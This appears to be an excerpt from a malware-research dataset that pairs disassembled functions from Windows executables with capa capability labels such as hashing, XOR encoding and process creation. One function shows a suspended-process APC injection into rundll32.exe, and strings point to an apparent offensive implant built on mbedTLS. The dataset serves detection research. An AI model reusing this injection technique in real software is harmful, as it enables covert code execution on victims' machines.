joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d4df
Capabilities:
Accept command line arguments
Read file via mapping
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
mov ecx, 0x41fdc0
call fcn.0040e65f
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp esi, ebx
je 0x40d567
push esi
call fcn.0040b5b8
cmp byte [0x419f91], bl
je 0x40d55b
push str.winrarsfxmappingfile.tmp
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov edi, eax
cmp edi, ebx
je 0x40d552
push 0x10000
push ebx
push ebx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp esi, ebx
je 0x40d54b
push esi
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40d567
push esi
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov edi, 0x400
push edi
mov esi, 0x419ad8
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push str.sfxname
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
call fcn.00406fa0
test eax, eax
je 0x40d59e
push edi
push 0x4192d8
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x40d5a6
xor eax, eax
mov word [0x4192d8], ax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
push 0x64
push edi
mov dword [0x414c78], edi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x65
push dword [0x414c78]
mov dword [0x4192d4], eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
lea ecx, [ebp - 8]
mov dword [0x4192d0], eax
call fcn.00411885
push esi
mov ecx, 0x414c88
call fcn.004099f5
lea ecx, [ebp - 0x40]
call fcn.00406574
lea ecx, [ebp - 0x24]
call fcn.00406574
push 0x64
call fcn.0040adb6
push 0x64
mov dword [ebp - 0x28], eax
call fcn.0040adb6
push ebx
push 0x40cd66
mov dword [ebp - 0xc], eax
push ebx
lea eax, [ebp - 0x40]
mov dword [0x418ecc], eax
push str.STARTDLG
lea eax, [ebp - 0x24]
push edi
mov dword [0x418ec8], eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
lea ecx, [ebp - 0x24]
mov dword [0x419f80], ebx
mov dword [0x418ec8], ebx
mov dword [0x418ecc], ebx
call fcn.0040658a
lea ecx, [ebp - 0x40]
call fcn.0040658a
lea ecx, [ebp - 8]
call fcn.004118fd
cmp byte [0x419f88], bl
je 0x40d667
call fcn.0040b85c
push 0x80
push ebx
push 0x419ee8
call fcn.0040a39e
cmp dword [0x41a824], ebx
jbe 0x40d68a
push dword [0x41a818]
call fcn.0040a31a
push dword [0x4192d4]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
mov eax, dword [0x4192d0]
cmp eax, ebx
je 0x40d6a4
push eax
call esi
cmp dword [0x414c7c], ebx
jne 0x40d6c3
cmp dword [0x419f78], ebx
je 0x40d6c3
push 0xff
mov ecx, 0x414c7c
call fcn.00403351
mov eax, dword [0x41a828]
mov dword [0x419f78], 2
cmp eax, ebx
je 0x40d6dc
push eax
call fcn.0040b81d
call dword [sym.imp.ole32.dll_OleUninitialize]
push dword [0x414c7c]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40da4e
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret
Function at 0x405830
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x405857
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x40585a
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0040580c
pop esi
leave
ret 8

Function at 0x406334
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406373
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406373
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406373
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406373
cmp dword [ecx + 0x74], 0xe
jbe 0x406373
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x5dd0a8
Capabilities:
Encode data using xor

Disassembly:
pop ebp
mov dh, 0x6a
imul ebp, ecx, 0xfffffff7
sub bh, byte [0x7677d1e0]
jmp 0x6599fb58
mov dh, 0xf2
cmp esp, dword [ebp + 0x39]
cwde
and ch, byte [ebp - 0x37]
xor cl, byte [edi - 0x3fd4c39b]
jecxz 0x5dd093
push cs
imul ebp, ecx, 0x653c2b30
mov al, 0xd1
inc edi
out dx, eax
rcl dword [edx], 0x53
cmp dword [ecx], 0xf6f23c2b
adc dh, bl
jl 0x5dd0e0
std
cmp esp, dword [ebp + 0x39]
cwde
xor dword [ebp - 0x4e], ebx
rol dword [edi - 0xf], 1
stc
adc dh, bl
stosd dword es:[edi], eax
and dword [0x2b3c6581], esi
push ds
xor byte [edi + 0x16], dh
cmp al, 0xbc
mov esp, 0x50c031b2
xor eax, 0x1dabb3cb
push cs
cmp al, 0x6c
cmp esp, eax
invalid
mov esp, 0x50c031b2
xor eax, 0x1dabb3cb
push cs
cmp al, 0x6c
cmp esp, eax
cmp edi, ebp
std
dec esp
or dword [edi], edx
ja 0x5dd09a
xchg ebp, eax
jg 0x5dd058
jns 0x5dd05c
jmp 0x5dd0fe
or al, 0x8f
imul esp, dword [ebp + 0x39], 0x2b
cmp dword [ebx + 0x60b98f1d], esi
cmp dword [edi + edi*4], ebx
cmp word [ebx], bp
cmp al, 0xf0
add al, al
and ecx, edi
sub al, 0xe4
sub al, 0xe4
enter 0xfffffffffffffa1b, 0x6d
cli
insd dword es:[edi], dx
mov al, 0x35
xchg byte [ebp + 0x3c], ah
sub edi, dword [ebp*8 + 0x7735f044]
push ecx
add edx, ecx
cmp dword fs:[esi - 0x3c26d64b], ebp
cmp edi, ebp
dec esp
or dword [edi], edx
ja 0x5dd0fa
xchg ebp, eax
jg 0x5dd0b8
jns 0x5dd0bc
jmp 0x5dd15e
sub esi, dword [ecx + 0x35f048ed]
ja 0x5dd19f
sub edi, dword [0x64d74b51]
cmp dword [eax + 0x3b], edx
cmc
inc esp
invalid
sub al, 0x66
test bl, cl
pop esi
scasd eax, dword es:[edi]
pop es
int3
Function at 0x401050
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Link many functions at runtime
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xorps xmm0, xmm0
mov dword [ebp - 0x29c], ecx
push edi
push 0x208
lea eax, [ebp - 0x230]
movlpd qword [ebp - 0x27c], xmm0
push 0
push eax
mov ebx, edx
movlpd qword [ebp - 0x274], xmm0
movups xmmword [ebp - 0x294], xmm0
movlpd qword [ebp - 0x26c], xmm0
movlpd qword [ebp - 0x264], xmm0
movlpd qword [ebp - 0x25c], xmm0
movlpd qword [ebp - 0x254], xmm0
movlpd qword [ebp - 0x24c], xmm0
movlpd qword [ebp - 0x244], xmm0
call fcn.004459f0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x10], 0x74006e
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
mov dword [ebp - 0xc], 0x6c0064
push str.LoadLibraryA
push eax
mov dword [ebp - 8], 0x6c
mov dword [ebp - 0x24], 0x65006b
mov dword [ebp - 0x20], 0x6e0072
mov dword [ebp - 0x1c], 0x6c0065
mov dword [ebp - 0x18], 0x320033
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.NtAllocateVirtualMemory
lea eax, [ebp - 0x10]
push eax
call edi
push eax
call esi
mov dword [ebp - 0x298], eax
lea eax, [ebp - 0x10]
push str.NtWriteVirtualMemory
push eax
call edi
push eax
call esi
mov dword [ebp - 0x2a0], eax
lea eax, [ebp - 0x10]
push str.NtSuspendThread
push eax
call edi
push eax
call esi
push str.NtAlertResumeThread
lea eax, [ebp - 0x10]
push eax
call edi
push eax
call esi
mov dword [ebp - 0x2a4], eax
lea eax, [ebp - 0x10]
push str.NtQueueApcThread
push eax
call edi
push eax
call esi
mov esi, eax
mov dword [ebp - 0x280], 0x44
push 0x104
lea eax, [ebp - 0x230]
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [ebp - 0x230]
push eax
push str._wsSystem32_rundll32.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x294]
push eax
lea eax, [ebp - 0x280]
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401250
push 0x40
push 0x3000
lea eax, [ebp - 0x234]
mov dword [ebp - 0x284], 0
push eax
push 0
lea eax, [ebp - 0x284]
mov dword [ebp - 0x234], ebx
push eax
push dword [ebp - 0x294]
call dword [ebp - 0x298]
push 0
push ebx
push dword [ebp - 0x29c]
push dword [ebp - 0x284]
push dword [ebp - 0x294]
call dword [ebp - 0x2a0]
mov eax, dword [ebp - 0x284]
push 0
push 0
push eax
push eax
push dword [ebp - 0x290]
call esi
push 0
push dword [ebp - 0x290]
call dword [ebp - 0x2a4]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00444a17
mov esp, ebp
pop ebp
ret
Function at 0x40bc80
Capabilities:
Hash data using sha1
Hash data using sha256

Disassembly:
cmp dword [0x4769d4], 0
mov dword [0x476984], 0
je 0x40bcc0
push 0
push str.set_timer_to__d_ms
push 0x51
push str.C:UserspentesterDownloadsxxxxxxxcs4.5externalmbedtls_2.14.1library_ssl_tls.c
push 3
push 0x476980
call fcn.00411980
push 0
push 0
push dword [0x4769d0]
call dword [0x4769d4]
add esp, 0x24
xorps xmm0, xmm0
mov dword [0x476988], 0
mov dword [0x47698c], 0
movups xmmword [0x476a78], xmm0
mov dword [0x476a90], 0
movq qword [0x476a88], xmm0
mov dword [0x476a74], 0
mov dword [0x4769f4], 0
call fcn.0040bbd0
xor eax, eax
mov dword [0x4769f8], 0
mov dword [0x4769fc], 0
mov dword [0x476a08], 0
mov word [0x476a04], ax
movlpd qword [0x476a10], xmm0
movlpd qword [0x476a18], xmm0
mov dword [0x476a20], eax
mov dword [0x476a24], eax
mov dword [0x476a28], eax
mov dword [0x476a48], eax
mov dword [0x476a4c], eax
mov dword [0x476a50], eax
cmp byte [0x476a5e], al
je 0x40bd6a
mov byte [0x476a5e], al
push 0x414d
push 0
push dword [0x476a30]
movq qword [0x476a54], xmm0
mov dword [0x4769c0], eax
mov dword [0x4769c4], eax
mov dword [0x4769ac], eax
mov dword [0x4769b0], eax
call fcn.004459f0
mov ecx, dword [0x4769c8]
add esp, 0xc
test ecx, ecx
je 0x40bdc2
call fcn.0040d3a0
push dword [0x4769c8]
call fcn.0044a73d
add esp, 4
mov dword [0x4769c8], 0
push esi
mov esi, dword [0x4769b4]
test esi, esi
je 0x40be13
mov ecx, dword [esi + 0x64]
test ecx, ecx
je 0x40bde4
call fcn.00410fe0
push dword [esi + 0x64]
call fcn.0044a73d
add esp, 4
push dword [esi + 0x6c]
call fcn.0044a73d
mov eax, dword [fcn.004459f0]
push 0x88
push 0
push esi
call eax
push dword [0x4769b4]
call fcn.0044a73d
add esp, 0x14
mov dword [0x4769b4], 0
mov dword [0x476a68], 0
pop esi
jmp fcn.0040b7f0
Function at 0x411590
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea edi, [ebp - 0x34]
mov dword [ebp - 0x48], edx
push 0x30
mov eax, edi
mov dword [ebp - 0x3c], ecx
push 0
push eax
mov dword [ebp - 0x40], edi
call fcn.004459f0
mov edx, dword [ebp - 0x3c]
mov esi, 1
add esp, 0xc
xor ebx, ebx
sub esi, edx
lea ecx, [edx + 0x20]
lea eax, [edx + 0xf]
mov dword [ebp - 0x44], ecx
add byte [eax], 1
jne 0x4115e0
dec eax
lea ecx, [esi + eax]
test ecx, ecx
jg 0x4115d3
mov ecx, dword [ebp - 0x44]
push edi
call fcn.0042fcd0
mov edi, eax
add esp, 4
test edi, edi
jne 0x411653
mov edi, dword [ebp - 0x40]
add ebx, 0x10
mov edx, dword [ebp - 0x3c]
add edi, 0x10
mov dword [ebp - 0x40], edi
lea eax, [edx + 0xf]
cmp ebx, 0x30
jl 0x4115d3
mov ecx, dword [ebp - 0x48]
lea edx, [ebp - 0x34]
xor eax, eax
sub ecx, edx
movups xmm0, xmmword [ebp + eax - 0x34]
lea edx, [edx + 0x10]
movups xmm1, xmmword [ecx + edx - 0x10]
xorps xmm1, xmm0
movups xmmword [ebp + eax - 0x34], xmm1
add eax, 0x10
cmp eax, 0x30
jl 0x411613
mov ecx, dword [ebp - 0x44]
lea edx, [ebp - 0x34]
push 0x100
call fcn.0042eb00
mov edi, eax
add esp, 4
test edi, edi
jne 0x411653
mov ecx, dword [ebp - 0x3c]
movups xmm0, xmmword [ebp - 0x14]
movups xmmword [ecx], xmm0
push 0x30
lea eax, [ebp - 0x34]
push 0
push eax
mov eax, dword [fcn.004459f0]
call eax
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, edi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00444a17
mov esp, ebp
pop ebp
ret
Function at 0x412cc0
Capabilities:
Hash data using sha224
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ebp - 0x34], edx
mov dword [ecx + 0xc], 0
push ebx
push esi
push edi
test edx, edx
jne 0x412d53
mov eax, 0x137e2179
mov dword [ebp - 0x28], 0x2b3e6c1f
mov esi, 0x5be0cd19
mov dword [ebp - 0x2c], 0x9b05688c
mov edi, 0xfb41bd6b
mov dword [ebp - 0x24], 0x510e527f
mov ebx, 0x1f83d9ab
mov dword [ebp - 0x1c], 0x5f1d36f1
mov dword [ebp - 0x20], 0xa54ff53a
mov edx, 0xade682d1
mov dword [ebp - 0x14], 0xfe94f82b
mov dword [ebp - 0x18], 0x3c6ef372
mov dword [ebp - 0xc], 0x84caa73b
mov dword [ebp - 0x10], 0xbb67ae85
mov dword [ebp - 4], 0xf3bcc908
mov dword [ebp - 8], 0x6a09e667
jmp 0x412db9
mov eax, 0xbefa4fa4
mov dword [ebp - 0x28], 0x68581511
mov esi, 0x47b5481d
mov dword [ebp - 0x2c], 0x8eb44a87
mov edi, 0x64f98fa7
mov dword [ebp - 0x24], 0x67332667
mov ebx, 0xdb0c2e0d
mov dword [ebp - 0x1c], 0xf70e5939
mov edx, 0xffc00b31
mov dword [ebp - 0x20], 0x152fecd8
mov dword [ebp - 0x14], 0x3070dd17
mov dword [ebp - 0x18], 0x9159015a
mov dword [ebp - 0xc], 0x367cd507
mov dword [ebp - 0x10], 0x629a292a
mov dword [ebp - 4], 0xc1059ed8
mov dword [ebp - 8], 0xcbbb9d5d
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ecx + 0x24], eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x30]
mov dword [ecx + 0x30], edx
mov edx, dword [ebp - 0x24]
mov dword [ecx + 0x34], edx
mov edx, dword [ebp - 0x28]
mov dword [ecx + 0x38], edx
mov edx, dword [ebp - 0x2c]
mov dword [ecx + 0x3c], edx
mov edx, dword [ebp - 0x34]
mov dword [ecx + 0x40], edi
mov dword [ecx + 0x44], ebx
mov dword [ecx + 0x48], eax
xor eax, eax
pop edi
mov dword [ecx + 0x4c], esi
pop esi
mov dword [ecx + 0xd0], edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41fb10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [0x476980]
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
mov dword [ebp - 8], ebx
cmp dword [ecx + 0x3c], edi
jne 0x41fb75
cmp dword [ecx + 0x94], edi
je 0x41fb4b
cmp dword [ecx + 0x9c], edi
je 0x41fb4b
cmp dword [ecx + 0xa0], edi
je 0x41fb4b
cmp dword [ecx + 0x98], edi
jne 0x41fb75
push str.got_no_pre_shared_key
push 0xe47
push str.C:UserspentesterDownloadsxxxxxxxcs4.5externalmbedtls_2.14.1library_ssl_srv.c
push 1
push 0x476980
call fcn.00411980
mov eax, 0xffff8a00
add esp, 0x14
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
mov edx, dword [ebx]
sub eax, edx
cmp eax, 2
jge 0x41fb90
push str.bad_client_key_exchange_message
push 0xe50
jmp 0x41fc6e
movzx eax, byte [edx]
movzx esi, byte [edx + 1]
add edx, 2
shl eax, 8
or esi, eax
mov dword [ebx], edx
cmp esi, 1
jb 0x41fc64
mov eax, dword [ebp + 8]
sub eax, edx
cmp esi, eax
ja 0x41fc64
mov eax, dword [ecx + 0x3c]
test eax, eax
je 0x41fbd9
push esi
push edx
push 0x476980
push dword [ecx + 0x40]
call eax
add esp, 0x10
neg eax
sbb edi, edi
and edi, 0xffff9380
jmp 0x41fc10
cmp esi, dword [ecx + 0xa0]
jne 0x41fc27
mov edi, dword [ecx + 0x9c]
mov ebx, esi
mov byte [ebp - 1], 0
sub edi, edx
nop
mov al, byte [edi + edx]
lea edx, [edx + 1]
mov cl, byte [edx - 1]
xor cl, al
or cl, byte [ebp - 1]
mov byte [ebp - 1], cl
sub ebx, 1
jne 0x41fbf0
cmp byte [ebp - 1], bl
mov edi, ebx
mov ebx, dword [ebp - 8]
jne 0x41fc27
mov eax, dword [ebx]
cmp edi, 0xffff9380
je 0x41fc29
add eax, esi
mov dword [ebx], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx]
push esi
push eax
push str.Unknown_PSK_identity
push 0xe6f
push str.C:UserspentesterDownloadsxxxxxxxcs4.5externalmbedtls_2.14.1library_ssl_srv.c
mov edx, 3
mov ecx, 0x476980
call fcn.00411a40
add esp, 0x14
mov dl, 2
push 0x73
call fcn.00409860
add esp, 4
mov eax, 0xffff9380
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.bad_client_key_exchange_message
push 0xe59
push str.C:UserspentesterDownloadsxxxxxxxcs4.5externalmbedtls_2.14.1library_ssl_srv.c
push 1
push 0x476980
call fcn.00411980
add esp, 0x14
mov eax, 0xffff8400
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42c730
Capabilities:
Encrypt data using openssl rsa

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, ecx
mov dword [ebp - 4], eax
push edi
mov edi, 0x463348
mov edx, edi
test eax, eax
je 0x42c7b4
cmp dword [0x463348], 0
je 0x42c7b4
mov ebx, dword [eax + 4]
cmp dword [edx + 4], ebx
jne 0x42c7aa
mov edx, dword [edx]
mov esi, ebx
mov eax, dword [eax + 8]
sub esi, 4
jb 0x42c775
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x42c77a
add edx, 4
add eax, 4
sub esi, 4
jae 0x42c764
cmp esi, 0xfffffffc
je 0x42c7bd
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x42c7a7
cmp esi, 0xfffffffd
je 0x42c7bd
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x42c7a7
cmp esi, 0xfffffffe
je 0x42c7bd
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x42c7a7
cmp esi, 0xffffffff
je 0x42c7bd
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x42c7bd
mov eax, dword [ebp - 4]
add edi, 0x18
mov edx, edi
cmp dword [edi], 0
jne 0x42c753
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42e540
Capabilities:
Encrypt data using openssl rsa

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0xc
xorps xmm0, xmm0
movq qword [eax], xmm0
push eax
mov dword [eax + 8], 0
lea eax, [ebp - 0xc]
push eax
call fcn.0042d7b0
add esp, 8
test eax, eax
je 0x42e571
add eax, 0xffffc580
mov esp, ebp
pop ebp
ret
cmp dword [0x463628], 0
push ebx
push esi
push edi
mov edi, 0x463628
mov edx, edi
je 0x42e5e5
mov ebx, dword [ebp - 8]
cmp dword [edx + 4], ebx
jne 0x42e5db
mov edx, dword [edx]
mov esi, ebx
mov eax, dword [ebp - 4]
sub esi, 4
jb 0x42e5a9
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x42e5ae
add edx, 4
add eax, 4
sub esi, 4
jae 0x42e598
cmp esi, 0xfffffffc
je 0x42e5f1
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x42e5db
cmp esi, 0xfffffffd
je 0x42e5f1
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x42e5db
cmp esi, 0xfffffffe
je 0x42e5f1
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x42e5db
cmp esi, 0xffffffff
je 0x42e5f1
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x42e5f1
add edi, 0x14
mov edx, edi
cmp dword [edi], 0
jne 0x42e587
pop edi
pop esi
mov eax, 0xffffc380
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x42e5e5
mov eax, dword [ebp + 8]
mov ecx, dword [edi + 0x10]
mov dword [eax], ecx
cmp ecx, 1
jne 0x42e62f
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx]
cmp eax, 5
je 0x42e61c
test eax, eax
je 0x42e61c
pop edi
pop esi
mov eax, 0xffffc580
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 4]
neg eax
pop edi
sbb eax, eax
pop esi
and eax, 0xffffc580
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e890
Capabilities:
Encode data using xor
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edx, 1
xor esi, esi
nop dword [eax]
mov eax, edx
mov dword [ebp + esi*4 - 0x804], edx
and al, 0x80
mov dword [ebp + edx*4 - 0x404], esi
movzx ecx, al
lea eax, [edx + edx]
neg ecx
sbb ecx, ecx
inc esi
and ecx, 0x1b
xor ecx, eax
xor ecx, edx
movzx edx, cl
cmp esi, 0x100
jl 0x42e8b0
mov esi, 1
mov edx, 0x474d30
nop dword [eax]
mov eax, esi
mov dword [edx], esi
and al, 0x80
movzx ecx, al
lea eax, [esi + esi]
neg ecx
sbb ecx, ecx
add edx, 4
and ecx, 0x1b
xor ecx, eax
movzx esi, cl
cmp edx, 0x474d58
jl 0x42e8f0
mov eax, 1
mov byte [0x474730], 0x63
mov byte [0x474c93], 0
mov dword [ebp - 0x808], eax
nop dword [eax]
mov ecx, dword [ebp + eax*4 - 0x404]
lea eax, [ebp - 0x408]
shl ecx, 2
sub eax, ecx
mov ebx, dword [eax]
mov ecx, ebx
sar ecx, 7
lea eax, [ebx + ebx]
or ecx, eax
movzx eax, cl
xor ebx, eax
mov ecx, eax
shr ecx, 7
add eax, eax
or ecx, eax
movzx eax, cl
xor ebx, eax
mov ecx, eax
add eax, eax
shr ecx, 7
or ecx, eax
movzx edx, cl
mov ecx, edx
shr ecx, 7
lea eax, [edx + edx]
or ecx, eax
xor ecx, 0x63
movzx eax, cl
xor eax, edx
xor ebx, eax
mov eax, dword [ebp - 0x808]
mov byte [eax + 0x474730], bl
mov byte [ebx + 0x474c30], al
inc eax
mov dword [ebp - 0x808], eax
cmp eax, 0x100
jl 0x42e930
xor edi, edi
mov dword [ebp - 0x80c], 0xff
nop dword [eax]
movzx esi, byte [edi + 0x474730]
mov eax, esi
movzx ebx, byte [edi + 0x474c30]
and al, 0x80
mov dword [ebp - 0x808], ebx
movzx ecx, al
neg ecx
lea eax, [esi + esi]
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
movzx eax, cl
mov ecx, eax
xor ecx, esi
mov edx, ecx
shl edx, 8
xor edx, esi
shl edx, 8
xor edx, esi
shl edx, 8
xor edx, eax
mov dword [edi*4 + 0x476158], edx
shl edx, 8
or edx, ecx
mov dword [edi*4 + 0x475d58], edx
shl edx, 8
or edx, esi
mov dword [edi*4 + 0x475158], edx
shl edx, 8
or edx, esi
mov dword [edi*4 + 0x474d58], edx
test ebx, ebx
je 0x42ea90
mov eax, dword [ebp + ebx*4 - 0x404]
mov esi, 0xff
add eax, dword [ebp - 0x3d8]
cdq
idiv esi
mov eax, dword [ebp + ebx*4 - 0x404]
add eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp + edx*4 - 0x804]
cdq
idiv esi
mov eax, dword [ebp + ebx*4 - 0x404]
mov ebx, 0xff
add eax, dword [ebp - 0x3e0]
mov esi, dword [ebp + edx*4 - 0x804]
cdq
idiv ebx
mov eax, dword [ebp - 0x808]
mov eax, dword [ebp + eax*4 - 0x404]
add eax, dword [ebp - 0x3cc]
mov ebx, dword [ebp + edx*4 - 0x804]
cdq
idiv dword [ebp - 0x80c]
mov eax, dword [ebp + edx*4 - 0x804]
jmp 0x42ea98
xor ecx, ecx
xor esi, esi
xor ebx, ebx
xor eax, eax
shl ecx, 8
xor ecx, esi
shl ecx, 8
xor ecx, ebx
shl ecx, 8
xor ecx, eax
mov edx, ecx
mov dword [edi*4 + 0x475958], ecx
shr edx, 0x18
shl ecx, 8
or edx, ecx
mov eax, edx
mov dword [edi*4 + 0x475558], edx
shr eax, 0x18
shl edx, 8
or eax, edx
mov dword [edi*4 + 0x476558], eax
ror eax, 0x18
mov dword [edi*4 + 0x474830], eax
inc edi
cmp edi, 0x100
jl 0x42e9b0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00444a17
mov esp, ebp
pop ebp
ret